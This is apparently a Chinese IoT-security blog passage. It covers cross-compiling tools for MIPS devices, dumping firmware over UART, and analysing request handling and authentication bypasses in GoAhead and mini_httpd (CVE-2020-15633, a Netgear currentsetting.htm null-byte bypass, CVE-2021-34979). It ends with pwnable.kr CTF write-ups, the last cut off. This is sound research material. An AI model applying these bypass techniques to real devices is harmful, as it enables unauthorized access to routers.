OneShell

I fight for a brighter tomorrow

0%

在IoT安全研究过程中,有时候我们出于调试或者增加设备功能的目的,需要将程序交叉编译上传到设备中,这个时候就需要构建交叉编译工具链。我曾经尝试过多种构造交叉编译工具链的方法,例如:

  • 寻找对应架构的Debian虚拟机并使用qemu进行系统级仿真,然后像使用一个正常系统一样进行程序编译
  • 使用buildroot编译交叉编译工具链
  • 使用系统源安装相应的交叉编译工具链

在构造的过程中也踩过很多坑,可以列举一下踩过的比较典型的:

  • 以mips架构有I、II、III型,网上的Debian虚拟机往往是高版本类型。高版本类型的好处是可以向下兼容,因此很多系统级的仿真可以直接chroot到设备根目录运行程序;但是对于交叉编译的坏处就是没法编译低版本架构的程序
  • 高版本的buildroot中没有对低版本架构的配置
  • 同样系统源安装的交叉编译工具链也是没有对低版本架构
  • 在不同的设备上安装buildroot可能需要解决各种包依赖问题

这个时候就引出了我的一个需求:如何才能在一个新的工作环境中快速搭建起来一套交叉编译工具链,并且这个交叉编译工具链还能支持较老的低版本架构CPU。

第一个问题:我参考了Google内核fuzz工具syzkaller中的create-image.sh,这个脚本基于命令debootstrap,能够快速搭建指定发行版、架构、软件包的一个Debian文件系统镜像。我稍微修改此脚本,得到了一个能够支持某个指定版本的buildroot的文件系统,以后使用的时候直接chroot到根目录,就能愉快构造编译链了 + 交叉编译了。

第二个问题:我是选择了buildroot-2013.02-rc1作为长期使用的版本,这个版本足够老、支持足够多、足够旧的CPU架构。目前在我的日常使用中来看,已经够用了。

我在Github上创建了一个仓库,里面是创建文件系统和buildroot的脚本,以及静态编译好的适配各个架构的常用程序,后续持续更新。

GitHub - NoneShell/buildrooter

Debian wheezy文件系统搭建

克隆仓库,然后直接运行create-image.sh,会创建一个Debian wheezy的文件系统:

1
2
3
git clone https://github.com/NoneShell/buildrooter.git
cd buildrooter
./create-image.sh

创建完成后,进入chroot目录,这个就是一个Debian wheezy的文件系统,通过这种方式就可以保证所有的Linux都能以后续相同的操作,得到一个100%能成功编译的环境。
undifined

chroot到目录后,根据个人习惯可以做一些设置,此时已经和正常使用一个Debian系统没有区别了。我会设置好TERM和locales,因为我平常使用tmux,一些命令例如clear会报错tmux-256 colors;locales则是Busybox编译的时候会报错让至少使用一个UTF-8的locale。

1
2
export TERM=xterm
dpkg-reconfigure locales

buildroot编译

1
2
wget https://buildroot.org/downloads/buildroot-2013.02-rc1.tar.gz --no-check-certificate
tar -xvf ./buildroot-2013.02-rc1.tar.bz2

我使用的是tmux,例如使用命令clear的时候会报错:'tmux-256color': unknown terminal type.,可以每次手动设置如下,我选择写入到了.bashrc中

1
export TERM=xterm

以最近在看的一个目标为例,使用file查看目标的架构如下,mipsel架构,且是version 1,SYSV。目标是编译出来能够在设备上运行的busybox、gdbserver和nc,自己编译的busybox可以使其支持更多的命令,gdbserver是调试必备,nc用来做端口转发、程序运行等。
undifined

首先是编译符合目标架构的交叉编译工具链,进入buildroot目录中,执行make menuconfig,进入配置菜单。

undifined

如果仅仅是为了交叉编译工具链,不需要额外设置太多,选择好目标架构、架构版本、ABI是默认O32,然后在Toolchain中选择想要支持的特性即可。有一个地方一定要修改,就是Kernel Header选择Manually specified Linux version,并设置成3.7.1。默认设置是3.7.x,但是在实际make的时候下载不到相应的的Header文件。gdb和gdbserver我没有选择,因为一般是习惯将gdbserver放到设备上运行,然后在本机使用gdb连接进行调试。
undifined

编译交叉编译工具链,只需要执行make toolchain即可,我之前看过很多网上的教程都是直接make,这样会同时编译出来rootfs和kernel,消耗大量时间。

1
make toolchain

编译完成的交叉编译工具链路径在/output/host/usr/bin目录中,可以将目录host重命名成host_arch,例如host_LSB_MIPS_MIPS-I_SYSV,这样下次编译新的架构的工具链时,make clean不会删除掉已经编译好的架构的工具链。我的命名习惯是根据file查看的目标程序的信息来重命令文件夹,如下是此次演示的目标架构:
undifined

为了使用方便,可以把工具链的路径添加到PATH环境变量中,写入到.bashrc,后续编译程序的时候,指定CC/CXX时就不用输入完整的路径,日常使用的时候也可以在终端tab补全。

1
export PATH=/root/buildroot-2013.02-rc1/output/host_LSB_MIPS_MIPS-I_SYSV/usr/bin:$PATH

undifined

静态编译实例

当交叉编译工具链制作完成了,交叉编译自己的程序实际上和正常x86/64下的编译没有太大的区别,可能需要踩的坑就是ulibc中的一些系统库缺少需要自己编译并链接、编译版本太新的程序可能会有符号引用报错等,总之就是遇见坑GPT、Google。

busybox

buildroot自带的package中就有busybox,编译前先将目标架构的host_target目录复制一份为host目录,这样buildroot才能正确设置编译相关的参数。
undifined

在buildroot根目录使用命令make busybox-menuconfig进行配置,进入busybox的配置菜单设置静态链接:

  • Busybox Settings -> Build Options -> Build Busybox as a static binary,选择静态编译。
  • CFLAGS和LDFLAGS都添加上-s,编译后strip掉符号,减少存储占用。
  • 在Applets区域选择需要额外增加的功能/命令,例如我会额外勾选上网络相关的nc、ftpd、telnetd,进程相关的pstree,总之根据个人习惯和需求添加。

undifined

然后make busybox即可编译出来静态链接、去除掉符号、增加了额外命令的Busybox,路径:/output/target/busybox
undifined

gdbserver

没有编译gdb有两个原因,第一个是因为平常调试的时候一般是将gdbserver复制到设备上,然后本机使用gdb remote进行调试;第二个原因是,gdb交叉编译太多坑了,我各种配置都没有成功,最后选择了放弃(shame on me)。

下载源码,我选择的版本是7.12,这个版本不需要额外编译termcap库而是使用了较新的ncurses库,这样可以减少额外的编译工作量。

1
2
3
4
5
6
wget https://ftp.gnu.org/gnu/gdb/gdb-7.12.tar.gz --no-check-certificate
tar -xvf gdb-7.12.tar.gz
cd gdb-7.12/gdb/gdbserver # 进入gdbserver的代码目录
sed -i -e 's/srv_linux_thread_db=yes//' configure.srv
./configure --target=mipsel-linux --host=mipsel-linux
make CXXFLAGS="-fPIC -static -lpthread -s"

编译完成如下:
undifined

小结

通过创建Debian wheezy文件系统 + chroot的方式,可以忽略宿主机的版本问题;buildroot采用较老版本,这样可以支持更多较旧的CPU型号,尤其是MIPS。

在编译复杂程序的时候,还是可能会踩坑,例如buildroot编译出来的工具链的系统库中没有程序编译依赖的库。总之,只是大概解决了交叉编译问题,实际上最好的解决方案是拿到官方的SDK(我在说什么???)。

minicom是在Linux、Unix上常用的一款串口通信工具,可以通过串口连接计算机和其他的嵌入式设备,是一款开源软件。在IoT安全研究中,使用Mac或者Linux的人员可以使用minicom作为串口调试工具。

1
2
3
4
# Mac
brew install minicom
# minicom
sudo apt-get install mimicom

配置

基本配置

minicom在使用之前需要进行配置,使用如下的命令进入配置模式。

1
sudo minicom -s

进入minicom的配置模式之后,使用方向键选择需要配置的部分,一般来说,最基本的配置就是设置Serial port setup,对串口通信的设备、波特率等进行配置。如下是进入配置模式的主页面。配置完成后,可以回到主界面,选择将配置信息作为默认配置Save setup as dfl,或者保存为特定设备名的配置文件。我个人比较喜欢后者,设置一次保存为配置文件,后续对该设备连接直接sudo minocom 配置文件名即可。
undifined

以配置Serial port setup为例,最左边的大写字母可以快速跳转到对应的配置项,例如要配置串口通信设备,直接按下A便可配置Serial Device。具体的设备可以通过ls /dev/*查看连接到计算机的串口通信设备。配置完设备之后,回车,然后可以选择另外的配置选项,就不多赘述,例如直接按下E配置波特率。配置完所有必要的选项后,回车保存所有的设置,回到主配置页面。

undifined

回到主配置界面后:

  • Save setup as dfl:将当前配置作为minicom的默认配置
  • Save setup as..:将当前配置保存成配置文件,以后使用可以从配置文件中加载相应参数
  • Exit:以当前的配置进行串口通信
  • Exit from Minicom:退出minicom

配置启动权限

minicom需要使用到串口设备/dev/xxx,所以需要使用sudo权限来运行,我们也可以修改串口设备的权限,这样后续启动的时候就不需要使用sudo、还要输入密码了。
修改启动权限的方式1:
使用chmod命令。Linux下的一切设备皆文件,我们可以直接使用chmod命令修改串口设备的权限

1
sudo chmod 666 /dev/xxx

修改启动权限的方式2:
配置udev规则。也是Linux上比较推荐的方式,但是在Mac上无法找到这个配置文件。

1
sudo vim /etc/udev/rules.d/70-ttyusb.rules

新增一行

1
KERNEL=="ttyUSB[0-9]*", MODE="0666"

修改后,需要重新插拔一下设备,以重新生成设备节点

暂停minicom

串口的数据会一直输出,有时候我们需要查看之前打印出来的数据,而minicom不能像GUI的日志查看器一样使用直接翻页查看。这个时候可以使用Ctrl + A(Mac上是ESC + Z)键,暂停minicom的输出,选择后续需要执行的操作,例如查看之前打印的数据、开启日志记录功能、重新设置波特率等等。

undifined
如上,就是暂停了之后的minicom菜单,常用的功能:

  • Clear Screen:清空当前的屏幕
  • cOnfigure Minicom:配置minicom
  • Capture on/off:开始记录日志,对于安全研究比较有用的功能,保存了日志方便进行分析,甚至结合bootloader的功能还可以dump固件
  • Timestamp toggle:开启时间戳,在每一行日志的前面都加上时间戳
  • scroll Back:进入浏览模式,可以翻滚查看已经输出的数据

IoT安全的一些操作

记录一下在IoT安全研究中会使用到的一些场景,尽量结合自己之前遇到的案例讲解,文章后续如果遇到其他合适案例也会更新

案例1:结合bootloader的功能dump固件

最近遇到一个路由器设备,可以直接在板子上找到UART,获取到root权限的shell,但是内置的程序中基本上没有能够外带数据的程序,而我还没到最后一步不想把内存芯片拆下来。通过启动日志可以发现,设备的bootloader是CFE,能够在启动内核前暂停进入CFE的配置模式。同时还能看到CPU型号、flash型号

undifined

输入help命令可以看到CFE支持的命令,此处不多说其他的命令,主要关注能够dump内存的命令dm。dm命令语法是:dm 16进制的起始地址 10进制的数据大小
undifined

在设备正常启动的日志中,可以看到rootfs的格式是squashfs,一个嵌入式设备常用的文件系统格式,文件系统在flash中的起始地址是0xb8010100,大小是8388608个字节=8MB。
undifined

知道了文件系统的起始地址和大小,那么就可以使用dm命令进行dump,通过minicom的日志记录功能保存到本地,然后进行处理还原成真正的文件系统。可以先尝试使用dm命令看看起始地址是否为squash文件系统的magic,如下,的确是squash文件系统的文件头(虽然和PE文件的Magic相同但肯定不是PE)

undifined

开启minicom的日志记录功能,同时按下ESC + Z(Mac)暂停,选择L,设置需要保存的文件名,随后minicom的所有输出都会被保存到日志文件中,设置完毕后在CFE中执行:dm 0xb8010100 8388608开始dump文件系统。
undifined

日志内容如下,可以写一个python脚本进行处理,然后还原成真正的文件系统:
undifined

emm,原理是这样没错了,如果bootloader支持dump内存,配合minicom的日志记录功能,理论上是可以dump下来flash芯片的所有内容的。缺点是,速度特别慢,可能这个时间已经能把芯片拆下来到编程器上读取然后焊回去了。但是至少是一种思路,对吧。

简介

GoAhead是一个轻量化、适用于嵌入式设备的Web服务器,采用C语言编写,代码量不大,具有高度的可移植性和扩展性。GoAhead支持多进程、多线程,能够处理大量的并发连接,支持SSL/TLS加密和基本的身份认证,支持CGI、ASP。

GoAhead由Embedthis Software LLC开发,早年间是完全开源的,可以直接在Github上下载到源码。但是在2022年的时候,似乎转换成商业定制,官方在Github删除了代码库,因此在Github上无法下载,但是在Gitee上还有镜像库。

地址:GoAhead: GoAhead WebServer 采用开放源代码方式,任何人都可以下载、评估并修改代码,目的是为了使GoAhead WebServer成为市场上最领先的嵌入式Web服务器

本文不会完全分析GoAhead的代码实现、架构,而是聚焦于安全研究较为关注、通常由开发者实现的数据包处理部分。文章的大概阐述思路如下:

  1. 首先结合源码说明GoAhead的数据包处理特性,主要涉及鉴权、路由处理
  2. 结合漏洞简述基于GoAhead的server漏洞挖掘思路

源码简单分析请求处理

GoAhead会对数据包按照优先级进行顺序处理,也会根据数据包的路由调用不同的回调函数进行处理。先说说数据包优先级:

  • 优先级为1注册的回调函数:所有数据包都需要首先经过该回调函数进行处理,此处也通常被用来做数据包鉴权、请求路径合法性判断、未授权访问路径定义等等;优先级为0注
  • 优先级为0注册的回调函数:通常用来定义认证后可访问到的接口逻辑实现
  • 优先级为2注册的回调函数:没有回调函数匹配的数据包
1
2
3
int websUrlHandlerDefine(char_t *urlPrefix, char_t *webDir, int arg,
int (*handler)(webs_t wp, char_t *urlPrefix, char_t *webdir, int arg,
char_t *url, char_t *path, char_t *query), int flags)

比较重要的参数:

  • char_t *urlPrefix:指定URL的前缀,也就是需要处理的URL开头部分
  • int (*handler):URL对应的回调函数
  • int flags:URL处理优先级标志,有如下的两个选择:
    • #define WEBS_HANDLER_FIRST 0x1:所有的数据包都会通过该回调函数进行处理
    • #define WEBS_HANDLER_LAST 0x2:没有回调函数匹配的数据包会通过该回调函数进行处理

如下是一个真实设备的反编译代码,可以看到GoAhead是通过注册一个flags=WEBS_HANDLER_FIRST=1的回调函数websAuthHandler来判断数据包是否通过认证的,这意味着所有的数据包都会通过函数websAuthHandler进行处理,验证数据包发送者的权限。

1
2
3
4
5
6
7
8
9
10
11
websUrlHandlerDefine(&byte_4AA6CC, 0, 0, websAuthHandler, 1);
websUrlHandlerDefine("/goform", 0, 0, websFormHandler, 0);
websUrlHandlerDefine("/cgi-bin", 0, 0, websCgiHandler, 0);
websUrlHandlerDefine("/reboot.asp", 0, 0, sub_464028, 0);
websUrlHandlerDefine("/reboot", 0, 0, sub_464028, 0);
websUrlHandlerDefine("/exception_log", 0, 0, sub_462850, 0);
websUrlHandlerDefine("/nat_log", 0, 0, sub_4628F8, 0);
websUrlHandlerDefine("/attributes_log", 0, 0, sub_4628F8, 0);
websUrlHandlerDefine("/dhcpcliinfo", 0, 0, sub_4628F8, 0);
websUrlHandlerDefine("/auto_ch", 0, 0, sub_4628F8, 0);
websUrlHandlerDefine("/auto_5G_ch", 0, 0, sub_4628F8, 0);

例如对一个请求的完整处理过程:使用POST请求访问/goform/websLogin,

  1. 首先数据包会进入函数webAuthHandler:请求路径鉴权、请求路径合法性判断等
    1
    websUrlHandlerDefine(&byte_4AA6CC, 0, 0, websAuthHandler, 1);
  2. 根据一层路径/goform,匹配回调函数websFormHandler:
    1
    websUrlHandlerDefine("/goform", 0, 0, websFormHandler, 0);
  3. 根据二层路径/websLogin,匹配回调函数websLogin:
    1
    websFormDefine((int)"websLogin", (int)websLogin);

因此,对于GoAhead作为server的设备来说,如果想挖到认证前的RCE的话,可以主要从优先级为0的登录处理回调函数入手,找到绕过认证的方法,或者看回调函数是否存在缓冲区溢出等能够劫持控制流的漏洞。

漏洞挖掘思路

历史版本漏洞

版本号的确定:搜索字符串GoAhead-Webs,可以确定版本,从而判断是否受到历史漏洞的影响
undifined

漏洞编号 影响版本 漏洞概述
CVE-2017-17562 < 3.6.5 初始化CGI时,在HTTPD请求参数中,使用特殊的参数名LD_PRELOAD劫持libc库,进而远程命令执行
CVE-2021-42342 4.x、5.x~5.1.5 对上述的一个绕过

如上的两个漏洞如果要达成认证前RCE,需要/cgi-bin/一层路径可以未授权访问

漏洞案例1:发生在websSecurityHandler中的认证绕过

CVE-2020-15633

该漏洞是发生在LAN口的一个登录认证绕过漏洞,影响设备DIR-867、DIR-878、DIR-882,固件版本1.20B10_BETA。漏洞产生的原因是在处理HNAP请求的过程中,验证用户登录逻辑时处理不当,使用strstr函数来检查无需验证权限的接口,导致可以构造特定URI来绕过身份认证,从而访问敏感接口。

设备采用lighttpd作为webserver,根据配置会将HNAP请求转发到程序/bin/prog.cgi进行处理,prog.cgi是基于GoAhead开发。

1
2
3
4
5
6
7
8
9
10
11
fastcgi.server = ( 
"/HNAP1/" =>
((
"socket" => "/var/prog.fcgi.socket-0",
"check-local" => "enable",
"bin-path" => "/bin/prog.cgi",
"idle-timeout" => 10,
"min-procs" => 1,
"max-procs" => 1
)),
......

漏洞触发过程的函数调用如下:

1
2
3
sub_423ECC -> 0
sub_4249EC -> 0
websSecurityHandler -> 0
  1. 在函数sub_423ECC中,会使用函数strstr比较环境变量REQUEST_URI(也就是请求路径)中是否含有字符串列表actions_list中的字符串,然后触发到return 0。
    1
    2
    3
    4
    5
    if ( a1[57] && strstr(a1[57], &actions_list[32 * index]) )// REQUEST_URI
    {
    if ( strcmp(&actions_list[32 * index], "/HNAP1/") || !a1[50] || strcmp(a1[50], "POST") )
    return 0;
    }
  2. 然后返回到函数sub_4249EC,触发该函数继续返回0;
  3. 再返回到函数websSecurityHandler中,使得该认证函数返回0,达到认证绕过;
    1
    websUrlHandlerDefine("/", 0, 0, websSecurityHandler, 1);

其他认证后的接口(大多存在)

大多基于GoAhead开发的server都存在认证后的漏洞,例如缓冲区溢出、命令执行等等。

简介

mini_httpd是一个小型的HTTP服务器,它的代码非常小巧,仅有几千行代码,因此它适用于嵌入式设备和低功耗系统。它是由Jef Poskanzer开发的,可以在多种操作系统上运行,包括Linux、FreeBSD、Solaris、Windows等。mini_httpd支持动态内容的生成,包括CGI、SSI以及FastCGI,同时它也支持虚拟主机和基本的身份验证。mini_httpd的主要特点是快速、轻量级、安全和易于使用。

mini_httpd的代码下载地址:mini_httpd

数据包处理逻辑

mini_httpd收到一个数据请求包后会fork创建一个子进程来进行处理,这种方式如果在高并发场景会在进程创建、销毁过程中消耗大量的资源,但是在并发量低的嵌入式设备已经够用了。

1
2
3
4
5
6
7
8
9
10
11
/* Fork a sub-process to handle the connection. */
r = fork();
...
if ( r == 0 )
{
/* Child process. */
...
handle_request(); // 数据包处理逻辑
}
...
}

子进程中主要是通过handle_request函数来对数据进行处理的,主要是先解析请求行、再解析请求头。

  • 读取请求的第一行,获取到请求行,然后从行中解析到请求方法protocol、请求路径path和查询参数query
  • 随后解析header,主要实现是通过while循环继续逐行解析header中的字段,包括Authorization、Content-Length、Content-Type、Cookie、User-Agent等等常见的字段

如下是handle_request函数中读取请求行,获取到请求method_str、path、query、protocol。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* Parse the first line of the request. */
method_str = get_request_line();
if ( method_str == (char*) 0 )
send_error( 400, "Bad Request", "", "Can't parse request." );
path = strpbrk( method_str, " \t\012\015" );
if ( path == (char*) 0 )
send_error( 400, "Bad Request", "", "Can't parse request." );
*path++ = '\0';
path += strspn( path, " \t\012\015" );
protocol = strpbrk( path, " \t\012\015" );
if ( protocol == (char*) 0 )
send_error( 400, "Bad Request", "", "Can't parse request." );
*protocol++ = '\0';
protocol += strspn( protocol, " \t\012\015" );
query = strchr( path, '?' );
if ( query == (char*) 0 )
query = "";
else
*query++ = '\0';

然后是while循环处理header,获取字段。在源码中包括:Authorization、Content-Length、Content-Type、Cookie、Host、If-Modified-Since、Referer、Referrer、User-Agent这些字段。

1
2
3
4
5
6
7
8
9
10
11
12
13
   /* Parse the rest of the request headers. */
while ( ( line = get_request_line() ) != (char*) 0 )
{
if ( line[0] == '\0' )
break;
else if ( strncasecmp( line, "Authorization:", 14 ) == 0 )
{
...
}
else if ( strncasecmp( line, "Content-Length:", 15 ) == 0 )
{
...
}

获取到了如上的重要字段后,就开始对数据包的合法性进行判断,例如:

  • 请求方法method是否合理:GET、HEAD、POST、PUT、DELETE、TRACE
  • 请求路径path必须以反斜杠/开头、对path进行目录穿越相关字符进行处理、检查文件是否存在
  • 然后根据path是文件夹或文件,分别调用do_dir和do_file进行处理,二者最终都会进行权限检查函数auth_check

在权限检查函数auth_check中,输入为请求的path转换的实际路径file所在的文件夹dirname,如果权限检查通过,则继续直接随后的数据包处理流程;如果权限检查是否,则通过send_authenticate函数返回401,然后结束当前连接的生命周期。

权限检查的流程则是:

  1. 如果dirname中没有.htpasswd文件,那么直接认证通过。就相当于是在需要授权访问的文件夹中添加该文件,不需要授权访问的文件夹中没有该文件
  2. 源码中采用的校验方式是BASIC认证,请求包中带上username和base64编码的password,然后和.htpasswd文件中保存的账号信息进行对比,如果比较通过则直接返回。

漏洞挖掘思路

因此,平常漏洞挖掘中比较关心的登录认证流程就非常清晰:main -> handle_request -> do_file/do_dir -> auth_check。一般情况下,厂商会根据自己的业务逻辑修改相关的函数,但是根据源码我们还是能通过一些字符串特征来定位到关键函数,例如:

  • 通过搜索index相关的页面字符串,可以定位到handle_request
    1
    2
    3
    4
    5
    6
    7
    .data:0041E030 index_names:    .word aSetupCgi          # DATA XREF: handle_request+38↑o
    .data:0041E030 # "setup.cgi"
    .data:0041E034 .word aIndexHtml # "index.html"
    .data:0041E038 .word aIndexHtm # "index.htm"
    .data:0041E03C .word aIndexXhtml # "index.xhtml"
    .data:0041E040 .word aIndexXht # "index.xht"
    .data:0041E044 .word aDefaultHtm # "Default.htm"
  • 函数handle_request中的逻辑是由开发者定义,因此可能发生缓冲区溢出、命令注入等常见漏洞形式
  • 通过搜索字符串.htpasswd可以直接定位到do_file、auth_check函数。do_file函数中会检查请求文件是否为.htpasswd,auth_check函数则是需要读取账号信息、调用字符串比较函数等

经典案例

案例1:发生在auth_check中的认证绕过

发生在netgear wac104设备、固件版本1.0.4.15之前的身份认证绕过漏洞,漏洞产生的原因是在鉴权过程中,使用了strstr来判断:如果请求uri中包含currentsetting.htm,设置无需认证标志。因此攻击者可以在需要鉴权的uri中包含currentsetting.htm标志,从而达到认证绕过的目的。

通过之前的源代码梳理,也明白了mini_httpd的登录认证流程,那么可以通过搜索字符串的技巧直接定位到auth_check函数。auth_check函数开头有一段导致后续认证绕过的逻辑,其中有一个g_bypass_flag=1时可以直接通过认证。

1
2
3
4
5
6
7
8
9
10
11
12
if ( g_bypass_flag == 1 )
{
if ( !sub_4062C0() )
{
system("/bin/echo genie from wan, drop request > /dev/console");
exit(0);
}
result = system("/bin/echo genie from lan, ok > /dev/console");
}
else {
......
}

查看变量g_bypass_flag的交叉引用,赋值的地方一共包含如下的三处:

  1. 当请求path中包含currentsetting.htm的时候
    1
    2
    if ( strstr(v86, "currentsetting.htm") )
    g_bypass_flag = 1;
  2. SOAPAction相关,设计的初衷应该是可以访问任意SOAP的xml。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    else
    {
    v26 = strncasecmp(v34, "Accept-Language:", 16);
    v27 = v34;
    if ( v26 )
    {
    v30 = v34 + 11;
    if ( !strncasecmp(v27, "SOAPAction:", 11) )
    {
    v31 = strspn(v30, " \t");
    v32 = strcasestr(&v30[v31], "urn:NETGEAR-ROUTER:service:");
    ......
    if ( v32 )
    {
    ......
    g_bypass_flag = 1;
    }
    }
    }
  3. 请求path中包含setupwizard.cgi,但是随后的处理逻辑会调用exit退出,因此无法利用。这个可能是当设备首次启动、开始安装向导触发的。
    1
    2
    if ( strstr((const char *)g_path, "setupwizard.cgi") )
    g_bypass_flag = 1;

再次返回到mini_httpd的源代码中,结合固件中的反汇编

  • 首先通过查找method后的第一个空格、换行、制表符的方式,获取到path。但是随后没有对path中是否包含%00进行判断。
    1
    2
    v10 = strpbrk(v8, " \t\n\r");
    g_path = v10;
  • 获取到的path在内存中大概是:uri\0currentsetting.htm,这导致,strstr函数返回一个非空值,就设置了g_bypass_flag,从而通过了auth_check
    1
    2
    3
    4
    5
    6
    ......
    v86 = (const char *)g_path;
    ......
    if ( strstr(v86, "currentsetting.htm") )
    g_bypass_flag = 1;
    ......

案例2:发生在函数handle_request

CVE-2021-34979

发生在NETGEAR R6260,固件版本V1.1.0.78_1.0.1中,处理SOAPAction标头由于未判断全局数组spapServiceName的边界,导致越界写。写入的数据会以环境变量的形式传递到setupwizard.cgi中,进而造成缓冲区溢出。

越界写:发生在处理数据包的函数handle_request中,未判断边界

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
else if (strncasecmp(line, "SOAPAction:", 11) == 0)
{
char *pTemp = NULL;
cp = &line[11];
cp += strspn(cp, " \t");
pTemp = strcasestr(cp, "urn:NETGEAR-ROUTER:service:");
if (pTemp != NULL)
{
int i = 0;
pTemp += strlen("urn:NETGEAR-ROUTER:service:");
while (*pTemp != ':' && *pTemp != '\0')
{
soapServiceName[i++] = *pTemp; // <-- Out-Of-Bounds Write
pTemp++;
}
}
}

后续调用setupwizard.cgi时,环境变量会传入,并且造成缓冲区溢出。

1
2
3
4
5
6
7
8
9
10
bool check_soap_login_record()
{
...
v1 = getenv("SOAP_LOGIN_TOKEN");
...
if ( !v3 )
{
...
strcat((char *)v25, v1);
...

小结

mini_httpd主要容易发生漏洞的地方就是在处理数据包的函数handle_request处,因为此处是开发者主要添加自己代码的地方,例如对header的处理、认证的自我实现方式等等。

1
2
3
4
5
6
7
Daddy told me I should study arm.
But I prefer to study my leg!

Download : http://pwnable.kr/bin/leg.c
Download : http://pwnable.kr/bin/leg.asm

ssh leg@pwnable.kr -p2222 (pw:guest)

leg.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}

arm是r0存放函数返回值,pc寄存器指向当前运行指令的后两条指令的地址;

如下是函数key1,

1
2
3
4
5
6
7
8
9
10
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.

r0 = r3 = pc = 0x00008ce4

如下是函数key2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.

r0= r3 = 0x00008d08 + 4 = 0x00008d0c

此处需要说明一下,bx指令的地址,如果最低位是1,说明应当切换到thumb模式。可以看到从0x00008d04后,每条指令的长度都变成了两个字节

如下是key3

1
2
3
4
5
6
7
8
9
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.

r0 = r3 = lr = 0x00008d80

lr寄存器保存了函数的返回地址,也就是函数main中调用函数key3处的后一条地址。

因此:key = 0x00008ce4 + 0x00008d0c + 0x00008d80 = 0x0001A770 = 108400

登录上去,看打印出来的log可能是绑定了qemu虚拟机。

1
2
3
4
/ $ ./leg
Daddy has very strong arm! : 108400
Congratz!
My daddy has a lot of ARMv5te muscle!

涉及的知识点

  • arm函数特点
  • arm的thumb和arm模式切换

1
2
3
Mom? how can I pass my input to a computer program?

ssh input2@pwnable.kr -p2222 (pw:guest)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");

// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

// here's your flag
system("/bin/cat flag");
return 0;
}

逐个整理要求:

stage1:

1
2
3
4
5
// argv
if(argc != 100) return 0;
